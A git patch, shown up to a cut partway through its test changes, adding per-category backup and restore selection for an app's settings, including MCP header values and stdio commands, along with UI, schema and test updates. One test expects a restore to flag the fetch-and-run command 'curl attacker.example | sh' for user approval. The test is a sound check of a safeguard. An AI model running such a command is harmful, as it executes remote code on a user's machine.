From da0ca238a02363829d5dbf0386147be4532420a9 Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Wed, 9 Sep 2026 00:47:31 +0000
Subject: [PATCH 01/10] feat: choose what a settings backup carries

Replace credential detection in the MCP export with a per-category content
selection saved in settingsBackup (includeInstructions, includeAgents,
includeSkills, includeGlobalMemory, includeMcp, includeMcpHeaders,
includeMcpCommands, includePreferences; includeProjects keeps its opt-in
default). One selection governs both directions: collection and export skip
unselected categories, and a restore only writes selected ones.

MCP header values and stdio commands are published as written when selected,
gated by the existing byte-bound secret-scan approval. When deselected they
become the existing redaction marker, so a restore keeps this machine's values;
the same projection is applied to a checked-out backup at restore time so the
restoring machine's selection wins. Literal headers from a backup now restore
verbatim; {secret: NAME} references keep the local-only endpoint-match rule.

The Backup settings screen replaces the static "Included" list with the
checkbox selection (MCP has two indented sub-options).
---
 .../Settings/Sections/BackupSection.tsx       | 175 +++--
 src/common/config/schemas/settingsBackup.ts   |  69 +-
 src/node/services/backup/adapters.test.ts     | 206 +++---
 src/node/services/backup/adapters.ts          |  59 +-
 .../backup/backupService.integration.test.ts  |  53 +-
 .../services/backup/backupService.test.ts     |   2 +-
 src/node/services/backup/backupService.ts     |  52 +-
 src/node/services/backup/payload.test.ts      | 635 ++++++++++++++----
 src/node/services/backup/payload.ts           | 273 ++++++--
 tests/ui/BackupSection.test.ts                |  50 +-
 10 files changed, 1136 insertions(+), 438 deletions(-)

diff --git a/src/browser/features/Settings/Sections/BackupSection.tsx b/src/browser/features/Settings/Sections/BackupSection.tsx
index 6a8cfef1bb..c79e863250 100644
--- a/src/browser/features/Settings/Sections/BackupSection.tsx
+++ b/src/browser/features/Settings/Sections/BackupSection.tsx
@@ -1,5 +1,5 @@
 import { useEffect, useRef, useState } from "react";
-import { ArchiveRestore, CheckCircle2, CloudUpload, RefreshCw, TriangleAlert } from "lucide-react";
+import { ArchiveRestore, CloudUpload, RefreshCw, TriangleAlert } from "lucide-react";
 import { Button } from "@/browser/components/Button/Button";
 import { Checkbox } from "@/browser/components/Checkbox/Checkbox";
 import { ConfirmationModal } from "@/browser/components/ConfirmationModal/ConfirmationModal";
@@ -11,9 +11,17 @@ import {
   isEditableElement,
   KEYBINDS,
   matchesKeybind,
+  type Keybind,
 } from "@/browser/utils/ui/keybinds";
 import { getErrorMessage } from "@/common/utils/errors";
 import type { SettingsBackupInput } from "@/common/orpc/schemas/backup";
+import {
+  BACKUP_CONTENT_DEFAULTS,
+  BACKUP_CONTENT_FLAGS,
+  resolveBackupContents,
+  type BackupContentFlag,
+  type BackupContents,
+} from "@/common/config/schemas/settingsBackup";
 import { BACKUP_CREDENTIAL_LABELS } from "@/constants/backup";
 
 type BackupRoute = keyof APIClient["backup"];
@@ -49,22 +57,58 @@ const BACKUP_SHORTCUTS = [
 type BackupShortcutAction = (typeof BACKUP_SHORTCUTS)[number][0];
 type BackupShortcutHandlers = Record<BackupShortcutAction, () => void | Promise<void>>;
 
-const INCLUDED_SETTINGS = [
-  "Global instructions",
-  "Agent definitions",
-  "Agent skills",
-  "Global memory",
-  "MCP server configuration",
-  "Portable preferences",
-] as const;
+interface BackupContentOption {
+  flag: BackupContentFlag;
+  label: string;
+  description?: string;
+  /** Rendered indented under this flag and disabled while it is off. */
+  parent?: BackupContentFlag;
+  shortcut?: Keybind;
+}
 
-type BackupDraft = SettingsBackupInput;
+/** One selection governs both directions: what a push publishes and what a restore writes. */
+const BACKUP_CONTENT_OPTIONS: readonly BackupContentOption[] = [
+  { flag: "includeInstructions", label: "Global instructions" },
+  { flag: "includeAgents", label: "Agent definitions" },
+  { flag: "includeSkills", label: "Agent skills" },
+  { flag: "includeGlobalMemory", label: "Global memory" },
+  { flag: "includePreferences", label: "Portable preferences" },
+  {
+    flag: "includeMcp",
+    label: "MCP server configuration",
+    description:
+      "URLs are copied as written; one that looks like it carries a credential waits for your review before publishing.",
+  },
+  {
+    flag: "includeMcpHeaders",
+    parent: "includeMcp",
+    label: "HTTP header values",
+    description:
+      "Copied as written, so a token in a header travels with the backup. Leave off to keep header values on this device.",
+  },
+  {
+    flag: "includeMcpCommands",
+    parent: "includeMcp",
+    label: "stdio commands",
+    description:
+      "Copied as written, so a token in a command line travels with the backup. Leave off to keep commands on this device.",
+  },
+  {
+    flag: "includeProjects",
+    label: "Project list & project memories",
+    description:
+      "Adds your project list and per-project memories to the backup, and lets a restore reimport them on another machine.",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_PROJECTS,
+  },
+];
+
+type BackupDraft = SettingsBackupInput & BackupContents;
 
 const DEFAULT_DRAFT: BackupDraft = {
   repoUrl: "",
   branch: "main",
   path: "xum/",
-  includeProjects: false,
+  ...BACKUP_CONTENT_DEFAULTS,
 };
 
 function toDraft(settings: SettingsBackupInput): BackupDraft {
@@ -72,7 +116,7 @@ function toDraft(settings: SettingsBackupInput): BackupDraft {
     repoUrl: settings.repoUrl,
     branch: settings.branch,
     path: settings.path,
-    includeProjects: settings.includeProjects === true,
+    ...resolveBackupContents(settings),
   };
 }
 
@@ -81,7 +125,7 @@ function draftsEqual(left: BackupDraft, right: BackupDraft): boolean {
     left.repoUrl === right.repoUrl &&
     left.branch === right.branch &&
     left.path === right.path &&
-    (left.includeProjects === true) === (right.includeProjects === true)
+    BACKUP_CONTENT_FLAGS.every((flag) => left[flag] === right[flag])
   );
 }
 
@@ -348,7 +392,7 @@ export function BackupSection() {
         repoUrl: draft.repoUrl.trim(),
         branch: draft.branch.trim(),
         path: draft.path.trim(),
-        includeProjects: draft.includeProjects === true,
+        ...resolveBackupContents(draft),
       });
       if (!result.success) {
         setSaveError(getOperationErrorMessage(result.error));
@@ -631,7 +675,7 @@ export function BackupSection() {
     },
     toggleProjects: () => {
       if (!busy) {
-        setDraft((current) => ({ ...current, includeProjects: current.includeProjects !== true }));
+        setDraft((current) => ({ ...current, includeProjects: !current.includeProjects }));
       }
     },
   };
@@ -712,30 +756,49 @@ export function BackupSection() {
           </label>
         </div>
 
-        <label className="flex items-start gap-2">
-          <Checkbox
-            checked={draft.includeProjects === true}
-            onCheckedChange={(checked) =>
-              setDraft((current) => ({ ...current, includeProjects: checked === true }))
-            }
-            disabled={busy}
-            aria-label="Include project list and project memories"
-          />
-          <span className="min-w-0">
-            <span className="text-foreground block text-xs font-medium">
-              Include project list &amp; project memories
-              {/* Shortcut hint only; the shortcut itself stays bound on every viewport. */}
-              <span className="text-muted ml-1 hidden font-normal sm:inline">
-                ({formatKeybind(KEYBINDS.SETTINGS_BACKUP_TOGGLE_PROJECTS)})
-              </span>
-            </span>
-            <span className="text-muted mt-0.5 block text-xs">
-              Adds your project list and per-project memories to the backup, and lets a restore
-              reimport them on another machine. Previously pushed backups keep project data in the
-              repository&apos;s git history even after disabling.
-            </span>
-          </span>
-        </label>
+        <fieldset className="space-y-2">
+          <legend className="text-foreground text-xs font-medium">
+            What to back up and restore
+          </legend>
+          {BACKUP_CONTENT_OPTIONS.map((option) => {
+            const parentOff = option.parent !== undefined && !draft[option.parent];
+            return (
+              <label
+                key={option.flag}
+                className={`flex items-start gap-2 ${option.parent ? "ml-6" : ""}`}
+              >
+                <Checkbox
+                  checked={draft[option.flag] && !parentOff}
+                  onCheckedChange={(checked) =>
+                    setDraft((current) => ({ ...current, [option.flag]: checked === true }))
+                  }
+                  disabled={busy || parentOff}
+                  aria-label={option.label}
+                />
+                <span className="min-w-0">
+                  <span className="text-foreground block text-xs font-medium">
+                    {option.label}
+                    {option.shortcut ? (
+                      // Shortcut hint only; the shortcut itself stays bound on every viewport.
+                      <span className="text-muted ml-1 hidden font-normal sm:inline">
+                        ({formatKeybind(option.shortcut)})
+                      </span>
+                    ) : null}
+                  </span>
+                  {option.description ? (
+                    <span className="text-muted mt-0.5 block text-xs">{option.description}</span>
+                  ) : null}
+                </span>
+              </label>
+            );
+          })}
+          <p className="text-muted text-xs">
+            Provider key files and dedicated secret files are never backed up. Anything selected
+            here is copied as written; deselecting it later does not remove earlier copies from the
+            repository&apos;s git history. Inside skills and memory, only documentation is published
+            automatically; any other file waits for you to review it.
+          </p>
+        </fieldset>
 
         <div className="flex flex-col gap-2 sm:flex-row sm:items-center">
           <Button
@@ -752,32 +815,6 @@ export function BackupSection() {
         {saveError ? <p className="text-error text-xs">{saveError}</p> : null}
       </section>
 
-      <section className="space-y-3">
-        <div>
-          <h3 className="text-foreground text-sm font-medium">Included</h3>
-          <p className="text-muted mt-1 text-xs">Only portable, allowlisted settings are copied.</p>
-        </div>
-        <ul className="grid gap-2 sm:grid-cols-2">
-          {[
-            ...INCLUDED_SETTINGS,
-            ...(savedDraft.includeProjects === true
-              ? (["Project list & project memories"] as const)
-              : []),
-          ].map((item) => (
-            <li key={item} className="text-muted flex items-center gap-2 text-xs">
-              <CheckCircle2 className="text-success h-3.5 w-3.5 shrink-0" />
-              {item}
-            </li>
-          ))}
-        </ul>
-        <p className="text-foreground text-xs font-medium">
-          Provider key files and dedicated secret files have no export path. MCP commands and URLs
-          are included verbatim; credential-like URL components require review, while literal MCP
-          header values are redacted. Inside skills and memory, only documentation is published
-          automatically; any other file waits for you to review it.
-        </p>
-      </section>
-
       <section className="border-border-light space-y-3 rounded-md border p-4">
         <div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
           <div className="min-w-0">
@@ -862,11 +899,9 @@ export function BackupSection() {
             ) : null}
 
             <div className="border-border-light rounded-md border p-3">
-              <h4 className="text-foreground text-xs font-medium">
-                Redacted from repository backup
-              </h4>
+              <h4 className="text-foreground text-xs font-medium">Kept on this device</h4>
               {preview.redactions.length === 0 ? (
-                <p className="text-muted mt-2 text-xs">No MCP values were redacted.</p>
+                <p className="text-muted mt-2 text-xs">Every MCP value is in the backup.</p>
               ) : (
                 <ul className="text-muted mt-2 space-y-1 text-xs">
                   {preview.redactions.map((redaction) => (
@@ -880,7 +915,7 @@ export function BackupSection() {
           </div>
         ) : (
           <div className="border-border-light text-muted rounded-md border border-dashed p-4 text-xs">
-            Run a preview to compare both directions and inspect redactions.
+            Run a preview to compare both directions and see which MCP values stay local.
           </div>
         )}
       </section>
diff --git a/src/common/config/schemas/settingsBackup.ts b/src/common/config/schemas/settingsBackup.ts
index 26928ccc4b..620cd98f55 100644
--- a/src/common/config/schemas/settingsBackup.ts
+++ b/src/common/config/schemas/settingsBackup.ts
@@ -267,11 +267,72 @@ export const BackupProjectBundleManifestSchema = z.object({
 export type BackupProjectBundleEntry = z.infer<typeof BackupProjectBundleEntrySchema>;
 export type BackupProjectBundleManifest = z.infer<typeof BackupProjectBundleManifestSchema>;
 
+/**
+ * What a backup carries, and what a restore writes; one selection governs both directions.
+ * Every flag is optional in config so an older config.json still loads; `resolveBackupContents`
+ * applies the defaults. Categories the user does not select are simply absent from the
+ * export and never written by a restore, which is how credential-bearing MCP fields (header
+ * values, stdio commands) stay out of a repository other people may read.
+ */
+const BackupContentFlagsSchema = z.object({
+  /** `AGENTS.md` */
+  includeInstructions: z.boolean().optional(),
+  /** `agents/*.md` */
+  includeAgents: z.boolean().optional(),
+  /** `skills/` */
+  includeSkills: z.boolean().optional(),
+  /** `memory/global/` */
+  includeGlobalMemory: z.boolean().optional(),
+  /** `mcp.jsonc`, limited to the fields Xum reads. */
+  includeMcp: z.boolean().optional(),
+  /** HTTP header values inside `mcp.jsonc`; excluded ones stay local. */
+  includeMcpHeaders: z.boolean().optional(),
+  /** stdio commands inside `mcp.jsonc`; excluded ones stay local. */
+  includeMcpCommands: z.boolean().optional(),
+  /** The portable subset of user preferences. */
+  includePreferences: z.boolean().optional(),
+  /**
+   * The project list and per-project memories as a `project-bundle/` sidecar, and restores
+   * of project content. Off by default, unlike the rest: project memories are private working
+   * notes and the project list reveals local paths.
+   */
+  includeProjects: z.boolean().optional(),
+});
+
+export type BackupContentFlag = keyof z.infer<typeof BackupContentFlagsSchema>;
+export type BackupContents = Record<BackupContentFlag, boolean>;
+
+export const BACKUP_CONTENT_DEFAULTS: BackupContents = {
+  includeInstructions: true,
+  includeAgents: true,
+  includeSkills: true,
+  includeGlobalMemory: true,
+  includeMcp: true,
+  includeMcpHeaders: true,
+  includeMcpCommands: true,
+  includePreferences: true,
+  includeProjects: false,
+};
+
+export const BACKUP_CONTENT_FLAGS: readonly BackupContentFlag[] =
+  BackupContentFlagsSchema.keyof().options;
+
+export function resolveBackupContents(
+  flags: Partial<Record<BackupContentFlag, boolean | undefined>>
+): BackupContents {
+  const resolved = { ...BACKUP_CONTENT_DEFAULTS };
+  for (const flag of BACKUP_CONTENT_FLAGS) {
+    const value = flags[flag];
+    if (typeof value === "boolean") resolved[flag] = value;
+  }
+  return resolved;
+}
+
 /**
  * The persisted schema extends the IPC input schema so config.json cannot hold a value
  * the `getSettings` response rejects, leaving the Backup screen unable to load saved settings.
  */
-export const SettingsBackupInputSchema = z.object({
+export const SettingsBackupInputSchema = BackupContentFlagsSchema.extend({
   repoUrl: z
     .string()
     .trim()
@@ -291,12 +352,6 @@ export const SettingsBackupInputSchema = z.object({
     .trim()
     .min(1, { message: "Enter a subdirectory inside the repository" })
     .refine(isValidBackupPath, { message: "Enter a subdirectory inside the repository" }),
-  /**
-   * Opt-in: also back up the project list and per-project memories as a `project-bundle/`
-   * sidecar, and allow restores to write project content. Off by default because project
-   * memories are private working notes and the project list reveals local paths.
-   */
-  includeProjects: z.boolean().optional(),
 });
 
 export const SettingsBackupSchema = SettingsBackupInputSchema.extend({
diff --git a/src/node/services/backup/adapters.test.ts b/src/node/services/backup/adapters.test.ts
index ae3279e16d..5fe3f49c33 100644
--- a/src/node/services/backup/adapters.test.ts
+++ b/src/node/services/backup/adapters.test.ts
@@ -17,6 +17,7 @@ import { projectMemoryDirName } from "@/node/services/memoryService";
 import {
   MAX_BACKUP_PROJECT_ENTRIES,
   MAX_BACKUP_PROJECT_PATH_CHARS,
+  resolveBackupContents,
 } from "@/common/config/schemas/settingsBackup";
 import {
   memoryMutationLockKey,
@@ -25,6 +26,9 @@ import {
 import { withProjectRegistrationLock } from "@/node/config/projectRegistrationLock";
 import { TestBackupConfig, captureRejection, runGit, writeFixtureFile } from "./testHelpers";
 
+const CORE_CONTENTS = resolveBackupContents({});
+const PROJECT_CONTENTS = resolveBackupContents({ includeProjects: true });
+
 describe("backup adapters", () => {
   let tempDir: string;
   let muxRoot: string;
@@ -60,7 +64,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     const changes = await gitRepo.getPushChanges(repository);
     expect(changes.map((change) => change.path)).toContain("mux/AGENTS.md");
@@ -78,7 +82,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: second.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     const unchanged = await gitRepo.commitAndPush(second, {
       message: "Back up Xum settings",
@@ -115,7 +119,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(repository, {
       message: "Back up Xum settings",
@@ -153,14 +157,14 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: first.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     const second = await gitRepo.prepare(settings);
     const preview = await payload.previewRestore({
       repositoryRoot: second.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.changes).toEqual([]);
     expect(preview.localOnlyFiles).toContain("AGENTS.md");
@@ -174,7 +178,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: prepared.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     // Without the preflight this reads as a plain addition, and the restore the user accepts
@@ -186,7 +190,7 @@ describe("backup adapters", () => {
       .previewRestore({
         repositoryRoot: prepared.rootDir,
         managedPath: settings.path,
-        includeProjects: false,
+        contents: CORE_CONTENTS,
       })
       .then(
         () => null,
@@ -205,7 +209,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: first.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(first, {
       message: "Back up Xum settings",
@@ -216,7 +220,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: second.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(await gitRepo.getPushChanges(second)).toEqual([]);
 
@@ -258,7 +262,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: first.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(first, {
       message: "Back up Xum settings",
@@ -271,14 +275,14 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: second.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     const third = await gitRepo.prepare(settings);
     const preview = await payload.previewRestore({
       repositoryRoot: third.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.changes).toEqual([{ status: "M", path: "AGENTS.md" }]);
   });
@@ -293,7 +297,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: first.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(first, {
       message: "Back up Xum settings",
@@ -405,7 +409,7 @@ describe("backup adapters", () => {
       await payload.exportTo({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: false,
+        contents: CORE_CONTENTS,
       });
     } finally {
       process.umask(previousUmask);
@@ -544,7 +548,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: first.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(first, {
       message: "Back up Xum settings",
@@ -560,7 +564,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: second.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(second, {
       message: "Back up Xum settings",
@@ -580,13 +584,13 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.changes).toEqual([]);
   });
@@ -614,13 +618,13 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.changes).toEqual([]);
   });
@@ -635,21 +639,21 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     await fs.chmod(path.join(muxRoot, "skills/demo/run.sh"), 0o644);
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.changes).toEqual([{ status: "M", path: "skills/demo/run.sh" }]);
 
     const restored = await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -667,7 +671,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: legacy.rootDir,
       managedPath: legacy.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(legacy, {
       message: "Back up Mux settings",
@@ -681,19 +685,19 @@ describe("backup adapters", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: prepared.rootDir,
       managedPath: prepared.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.changes).toEqual([{ status: "M", path: "AGENTS.md" }]);
 
     await payload.validateRestore({
       repositoryRoot: prepared.rootDir,
       managedPath: prepared.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     const restored = await payload.restore({
       repositoryRoot: prepared.rootDir,
       managedPath: prepared.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -711,7 +715,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: legacy.rootDir,
       managedPath: legacy.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(legacy, {
       message: "Back up Mux settings",
@@ -724,7 +728,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: prepared.rootDir,
       managedPath: prepared.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     const pushed = await gitRepo.commitAndPush(prepared, {
       message: "Back up Xum settings",
@@ -745,7 +749,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: legacy.rootDir,
       managedPath: legacy.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(legacy, {
       message: "Back up Mux settings",
@@ -757,7 +761,7 @@ describe("backup adapters", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "canonical\n");
     const seed = path.join(tempDir, "canonical-seed");
     await runGit(["clone", "--quiet", originPath, seed]);
-    await payload.exportTo({ repositoryRoot: seed, managedPath: "xum/", includeProjects: false });
+    await payload.exportTo({ repositoryRoot: seed, managedPath: "xum/", contents: CORE_CONTENTS });
     await runGit(["-C", seed, "add", "-A"]);
     await runGit([
       "-C",
@@ -780,7 +784,7 @@ describe("backup adapters", () => {
     const restored = await payload.restore({
       repositoryRoot: prepared.rootDir,
       managedPath: prepared.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -796,7 +800,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: canonical.rootDir,
       managedPath: "xum/",
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(canonical, {
       message: "Back up Xum settings",
@@ -837,7 +841,7 @@ describe("backup adapters", () => {
     const restored = await payload.restore({
       repositoryRoot: prepared.rootDir,
       managedPath: prepared.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -854,7 +858,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: legacy.rootDir,
       managedPath: legacy.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(legacy, {
       message: "Back up Mux settings",
@@ -896,7 +900,7 @@ describe("backup adapters", () => {
     const restored = await payload.restore({
       repositoryRoot: prepared.rootDir,
       managedPath: prepared.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -915,7 +919,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: legacy.rootDir,
       managedPath: legacy.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(legacy, {
       message: "Back up Mux settings",
@@ -948,7 +952,7 @@ describe("backup adapters", () => {
     const restored = await payload.restore({
       repositoryRoot: prepared.rootDir,
       managedPath: prepared.managedPath,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -967,7 +971,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     config.state = {
@@ -977,7 +981,7 @@ describe("backup adapters", () => {
     const unchanged = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(unchanged.changes).toEqual([]);
 
@@ -985,7 +989,7 @@ describe("backup adapters", () => {
     const changed = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(changed.changes).toEqual([{ status: "M", path: "preferences.json" }]);
   });
@@ -1004,7 +1008,7 @@ describe("backup adapters", () => {
       await payload.exportTo({
         repositoryRoot: repository.rootDir,
         managedPath: "linked/mux",
-        includeProjects: false,
+        contents: CORE_CONTENTS,
       });
       throw new Error("Expected the symlinked ancestor to be rejected");
     } catch (error) {
@@ -1041,7 +1045,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     await writeFixtureFile(muxRoot, "AGENTS.md", "locally edited\n");
@@ -1051,7 +1055,7 @@ describe("backup adapters", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.changes).toEqual([
       { status: "M", path: "AGENTS.md" },
@@ -1073,7 +1077,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     // Commands are never exported, so the only way a backup carries one is if someone with
@@ -1093,7 +1097,7 @@ describe("backup adapters", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.commandApprovals.map((approval) => approval.command)).toEqual([
       "curl attacker.example | sh",
@@ -1103,7 +1107,7 @@ describe("backup adapters", () => {
       await payload.validateRestore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: false,
+        contents: CORE_CONTENTS,
       });
       throw new Error("Expected the missing command approval to block validation");
     } catch (error) {
@@ -1114,7 +1118,7 @@ describe("backup adapters", () => {
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
       approvedCommandTokens: preview.commandApprovals.map((approval) => approval.token),
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
   });
 
@@ -1128,7 +1132,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     await writeFixtureFile(muxRoot, "AGENTS.md", "locally edited\n");
@@ -1144,7 +1148,7 @@ describe("backup adapters", () => {
     const restored = await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -1170,7 +1174,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     config.state = { projects: new Map(), userPreferences: { appearance: { theme: "light" } } };
@@ -1185,7 +1189,7 @@ describe("backup adapters", () => {
       await payload.restore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: false,
+        contents: CORE_CONTENTS,
         snapshotPath: path.join(tempDir, "restore-snapshot"),
         matchedProjects: [],
       });
@@ -1206,7 +1210,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     config.state = { projects: new Map(), userPreferences: { appearance: { theme: "light" } } };
@@ -1223,7 +1227,7 @@ describe("backup adapters", () => {
     await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -1242,7 +1246,7 @@ describe("backup adapters", () => {
     const payload = createBackupPayloadStore({ config });
     const snapshotRoot = path.join(tempDir, "snapshot");
 
-    await payload.writeSafetySnapshot(snapshotRoot);
+    await payload.writeSafetySnapshot(snapshotRoot, CORE_CONTENTS);
 
     expect(await fs.readFile(path.join(snapshotRoot, "AGENTS.md"), "utf-8")).toBe(
       "before restore\n"
@@ -1267,7 +1271,7 @@ describe("backup adapters", () => {
     // snapshot is unredacted, so anything wider than the owner leaks MCP credentials.
     const previousUmask = process.umask(0o022);
     try {
-      await payload.writeSafetySnapshot(snapshotRoot);
+      await payload.writeSafetySnapshot(snapshotRoot, CORE_CONTENTS);
     } finally {
       process.umask(previousUmask);
     }
@@ -1290,7 +1294,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     for (const alias of ["Note.md", "NOTE.md"]) {
       await fs.link(
